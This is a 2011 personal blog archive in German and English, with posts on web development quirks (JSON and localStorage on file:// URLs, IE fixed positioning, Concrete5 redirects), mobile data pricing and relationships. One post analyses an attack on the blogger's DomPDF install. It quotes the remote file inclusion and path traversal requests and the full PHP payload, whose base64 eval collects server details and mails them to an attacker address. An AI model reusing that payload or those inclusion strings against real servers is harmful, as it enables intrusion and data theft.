Archive for the ‘Language’ Category

Notizbücher online kaufen

Wednesday, December 7th, 2011

Mir haben zwei Geschäfte sehr gut gefallen

Manufactum hat Tinte die nach Kaffee riecht (da aus Kaffee hergestellt), also habe ich mich entschieden … Papier Fischer hat andererseits das günstigere Notizbuch.

Beide Geschäfte haben eine sehr angenehme Oberfläche. Wenn man was macht, dann gleich richtig, oder? Manufactum und Papier Fischer machen es einem vor!

Ironie!?!?

Tuesday, November 8th, 2011

"Alle Vodafoner können sich freuen – alle Smartphoner mit anderen Verträgen schauen in die Röhre! Vodafone bietet im europäischen Ausland ein „ReisePaket Data“ an, bei dem man innerhalb von sieben Tagen für nur 10 € ganze 25 (!!!) Megabyte versurfen oder vermailen kann. Genial. Bei T-Mobile etwa kosten 100KB satte 0,59 Euro." Quelle: Bestboyz

Das ist einfach lächerlich. 25 Megabyte sind mit einem einzigen YouTube Video weg. Soll ich etwa nur Mails schauen??

Das klingt mir sehr nach dem Kommunismus – wo die Dinge so extrem schwer zu erhalten waren, dass die Leute nach sehr langen Wartezeiten froh waren, endlich ihren Trabi zu erhalten …

Opera and Chrome blocking JSON requests in local mode

Friday, October 7th, 2011

If you browse a web page from your harddrive (that is, not hosted on a local apache, calling localhost, but using file://) you might notice, that your $.getJSON requests won't work -> your application will break.

This is by design, and a security measure.

If you only load static information via JSON – which you probably would in such an environment, right?, one (crutch of a) solution would be to include the information as a new .JS file (include it in your HTML head) which sets up a variable containing this information. This variable will replace your .getJSON call by a simple assignment.

persist.js does not work with Firefox offline

Thursday, October 6th, 2011

Yes, it seems to be by design (of Firefox' implementation of localstorage). It does not work for file:// URLs.

Persist.js currently has no workaround, the contents of your database will be cleared …

In order for Firefox to work offline, you have to remove the "localstorage" type manually, like this:

Persist.remove('localstorage');

Persist.js will issue a warning that globalStorage can't be used, and fall back to cookie storage, which has size limitations. On a side note, removing both localstorage and cookie storage will fall back to Flash. Flash will probably work, but it pops up a message which your users might find bewildering, and click away – viz:

persist

What is left after removing localstorage, cookie and flash?

Nothing (as Gears is not available).

Cookie's the way to go – you will have to live with the size restraints!

The way to check for larger strings than the storage allows does not seem to work for me. I used:

Persist.size != -1 && Persist.size < JSON.stringify(tmp_answer_db).length

One work around for larger data might be to use a JS compressor to fit all into the cookie. Or save less – reduce to the essential! Don't use JSON, use your own notation. Even JSON is too large for the cookie.

Update: Detecting firefox in a local file:// environment and removing localstorage

//detect FireFox. If it's the Fox, AND running locally remove localstorage
if (/Firefox[\/\s](\d+\.\d+)/.test(navigator.userAgent) && window.location.protocol == 'file:'){
Persist.remove('localstorage');
}

Attack on DomPDF

Sunday, October 2nd, 2011

After installing Varnish I can see pages which are frequently accessed.

//dompdf.php?input_file=http://www.fridela.com/slide/vero.txt?

And

/max/2009/06/bambooinvoice-und-pdf-briefpapier/dompdf.php?input_file=../../../../../../../../../../../../../../../../proc/self/environ%00

were lines which I found quite strange. Was someone abusing my server to convert their stuff to PDF?

I tried to go to fridela.com – it seems like a normal website, dedicated to selling food to housewives.

vero.txt is reported as dangerous by Microsoft Security Essentials.

I DO know that it's a text file, probably it's danger lies if used with the correct application. Here's the contents of vero.txt

<?
$win = strtolower(substr(PHP_OS,0,3)) == "win";
echo "PLaTo<br>";
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{
$safemode = true;
$hsafemode = "4ON6";
}
else {$safemode = false; $hsafemode = "3OFF6";}
$xos = wordwrap(php_uname(),90,"<br>",1);
$xpwd = @getcwd();
$OS = "<<".$hsafemode.">> ".$xos."";
echo "<center><A class=ria href=\"";echo'" DESIGNTIMESP=16110>http://".$OS."\">";echo "PLaTo</A></center><br>";
echo "<br>OSTYPE:$OS<br>";
echo "<br>Pwd:$xpwd<br>";
eval(base64_decode("aWYgKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSBvciBzdHJ0b2xvd2VyKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSkgPT0gIm9uIikgeyAkc2FmZW1vZGUgPSAiT04iOyB9IGVsc2UgeyAkc2FmZW1vZGUgPSAiT0ZGIjsgfSAkdmlzaXRvciA9ICRfU0VSVkVSWyJSRU1PVEVfQUREUiJdOyAkZmxvYXQgPSAiRnJvbSA6IHZ1cmwgaW5mbyA8ZnVsbEBpbmZvLmNvbT4iOyAkYXJhbiA9IGV4ZWMoJ3VuYW1lIC1hOycpOyAkd2ViID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdOyAkaW5qID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07ICRib2R5ID0gIkJ1ZyBodHRwOi8vIi4kd2ViLiRpbmouIm5uU3ByZWFkIFZpYSA6ICIuJHZpc2l0b3IuIm5uS2VybmVsIFZlcnNpb24gOiAiLiRhcmFuLiJublNhZmUgTW9kZSA6ICIuJHNhZmVtb2RlOyBtYWlsKCJ1bml4b24yMDEwQGdtYWlsLmNvbSIsIlNldG9yYW4gQm9zICIuJHNhZmVtb2RlLCRib2R5LCRmbG9hdCk7"));
die("<center> ByroeNet </center>");
?>

The base64 part decodes to

if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safem
ode = "ON"; } else { $safemode = "OFF"; } $visitor = $_SERVER["REMOTE_ADDR"]; $f
loat = "From : vurl info <full@info.com>"; $aran = exec('uname -a;'); $web = $_S
ERVER["HTTP_HOST"]; $inj = $_SERVER["REQUEST_URI"]; $body = "Bug http://".$web.$
inj."nnSpread Via : ".$visitor."nnKernel Version : ".$aran."nnSafe Mode : ".$saf
emode; mail("unixon2010@gmail.com","Setoran Bos ".$safemode,$body,$float);

Actually the exploit has to be executed by DomPDF for it to work, i.e. meaning it should execute PHP code. After the exploit has been installed, a mail is sent to unixon2010@gmail.com

additional code seems to be hosted at http://www.fridela.com/slide/air.txt – it's apparently a control interface to the cracked server (maybe also injected via DomPDF).

Be careful around these. Turn off inclusion of remote URLs in your PHP.ini.

Amazon Self-Optimizing Links

Monday, September 19th, 2011

Diese Links sollen sich selber an den Inhalt der Seite anpassen:


Interactive Brokers and Opera + Privoxy

Saturday, September 17th, 2011

At some point in creating a new account Interactive Brokers "Next" button won't work (on the page you declare your investment targets and net worth).

The solution is to use FireFox without Privoxy to continue with the application form.

I am not sure whether it is Privoxy or Opera blocking the application (although I suspect Privoxy blocking some JavaScripts.)

Internet Explorer, position fixed and strict mode

Wednesday, September 14th, 2011

You want to use fixed positioning with CSS

If you want to make use of the simple CSS position:fixed; to display an element static to the viewport, you will run into problems with the Internet Explorer.

position:fixed is only supported since Internet Explorer 7

I tested this solution with IE 7.0.5730.13 on Windows XP. IE 6 does not support fixed positioning.

You need to enforce strict mode

Internet Explorer will default to "quirky rendering mode", if you don't add special tags to your HTML document:

<!DOCTYPE html>
<HTML>
<HEAD>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1" />
<title>Progress Test</title>
<meta http-equiv= "X-UA-Compatible"content="IE=Edge">
<script language = "JavaScript" src="../head.min.js"></script>
[...]

Both are essential! If you try IE 9 on the page without having added the meta tag X-UA-Compatible, it will render the page in quirky mode. And in quirky mode, it will ignore your position:fixed, and render your element where you have put it in the flow of the document.

Please note: I have read that this meta tag actually is not valid for this DOCTYPE.

It still does not work? I am testing with local documents!

Internet Explorer also takes into account where the element is being served from. This solution will work, if you upload your test documents to a server and access them over the Internet. It will not work (see note below) for local files, even if you use a local webserver to serve up the files (i.e. XAMPP). Internet Explorer will render your document in quirky mode, in this case.

Note: actually it does work offline (opening a document from the harddrive) in Internet Explorer 9 after fiddling somewhat with the document. I removed a IE compatibility script (not shown above), which I had included from Google previously. Check if you have one of those, and remove it!

Redirection with Concrete 5

Wednesday, September 14th, 2011

URL Shortening is all the rage now. Sometimes you want to give people ridiculously long URLs, which might also be subject to change.

So you want to do it with C5, don't you?

Great, you think – there's the "add external link" menu option in Concrete's sitemap. Unfortunately it does not work the way you expect it to – it just adds the link to the Navigation, but no page alias to point to the external page (i.e. http://www.synapse-redaktion.de/FaceBook won't work after adding a "FaceBook" external link).

What to do to solve this dilemma?

My suggestion is to use both: add a (hidden) page "FaceBook" which does header JavaScript forwarding to the other page, so you can give out the links to the people, and a "real external link" so you don't have to rely on JavaScript for most of your visitors.

The SiteMap will look like this:

sitemap

Adding custom attributes: (Header Extra Content, Exclude from Page List, Exclude from Nav)

header extra content

The page's setup:

setup

The script is easy:

<script type="text/javascript">
<!–
window.location = "http://www.surfnext.com"
//–>
</script>

with surfnext.com being the URL you are forwarding to.

If you have the time, you might want to add a static link or icon to the page (/*comment*/ the window.location = … part to be able to edit the page!) in case some person has their JavaScript turned off.

Nur Freundschaft

Sunday, September 4th, 2011

Warum möchte man mit verschiedenen Frauen (als Mann) oder Männern (als Frau) nur Freundschaft, keine Partnerschaft?

Weil das Gehirn nicht auf die richtige Art und Weise stimuliert wird.

D.h. entweder es wird nicht genug stimuliert -

  • die andere Person ist nicht attraktiv genug
  • die andere Person ist nicht intelligent genug
  • die andere Person kann nicht gut genug kommunizieren
  • die andere Person ist vom falschen Geschlecht (für homosexuelle)

oder es werden die falschen Zentren stimuliert

  • Angst / Fluchtreflex bei Personen mit Bindungsangst
  • Freundschaftliches Interesse statt partnerschaftlichem Interesse

Es läuft also alles auf Stimulation der richtigen Zentren hinaus.

Die Stimulation der Zentren

Diese Zentren haben natürlich auch vorgesetzte Filter, die über mehrere Aktivierungsstadien hindurch überwunden werden müssen. So wird bei einem Unbekannten ein intimer Zungenkuss eher den Fluchtreflex aktivieren, als erotische Gefühle.

Um in einer Person romantisches Interesse an sich zu erwecken muss man eine Sequenz von aufeinander abgestimmten Schritten in präziser zeitlicher Reihenfolge ausführen.

Selbstverständlich sind initial auch Filter zu überwinden, auf die man wenig Einfluß hat. Bspw. ist es bei bindungsgestörten Personen teilweise gar nicht möglich, diese Filter zu überwinden. Das Signal wird im Gehirn "umgeroutet", da Bindung mit Zwang / Verlust des eigenen Egos gleichgesetzt wird. Es erfolgt ein Fluchtreflex, der sich auch als Agression äußern kann.

Sind diese initialen Filter überwunden, kann man mittels einer durch Trial-and-Error optimierten Sequenz immer bessere Erfolge erzielen.

Ablehnung

Daher ist es auch sinnvoll mit Ablehnung als "mißlungenes Experiment" umzugehen, aus dem man lernen kann:

  • manche Faktoren kann man nicht oder nur schwer beeinflussen (eigenes Alter, Bindungsangst des Partners)
  • manche anderen Faktoren kann man variieren (eigene Kleidung, Kommunikationssequenz)

Schlussendlich lohnt es sich, Experimente mit Variierung der Parameter zu wiederholen, um zu einem erfolgreichen Resultat zu kommen.

Selbstverständlich ist auch die Wahl des Partners in spe ein solcher Parameter. Partner die bekannt für Untreue in der Vergangenheit sind, werden dieses Muster in der eigenen Beziehung bspw. höchstwahrscheinlich fortsetzen. Es ist töricht sich einzubilden dass man etwas besonderes ist. Man zeigt dem Partner gegenüber vermutlich ähnliche Kommunikations- und Bindungsmuster wie die Vorgänger, und er oder sie wird ähnlich darauf reagieren.

Muster und Zeichen

Es lohnt sich die eigenen Kommunikations- und Partnerwahl-Muster zu identifizieren. Nicht umsonst kommt es immer wieder zu ähnlichen Partnerschaften und ähnlich verlaufender Beziehungsdynamik.

Der Partner muss von vornhinein bestimmte Muster zeigen damit wir uns für ihn oder sie überhaupt interessieren. Wenn diese Muster allerdings Zeichen von bestimmten schädlichen Verhaltensweisen sind – bspw. von Ablehnung / Angst vor Partnerschaft – werden wir immer wieder auf solche Problemfälle stoßen, und uns immer wieder die Zähne an ihnen ausbeißen.

Bestimmte Verhaltensweisen, Eigenschaften usw. sind Zeichen für bestimmte Charaktereigenschaften des Partners.

Beispielsweise deutet Angeberei mit eigenen Projekten und Leistungen, sowie Erniedrigung anderer oder ihrer Leistungen, auf ein sehr geringes Selbstwertgefühl hin. Ein solcher Partner kann sehr anstrengend sein.

Daher ist Freundschaft mit manchen Menschen eine bessere Lösung, von der alle mehr profitieren. Bis sie sich ändern … und der Weg für mehr frei wird.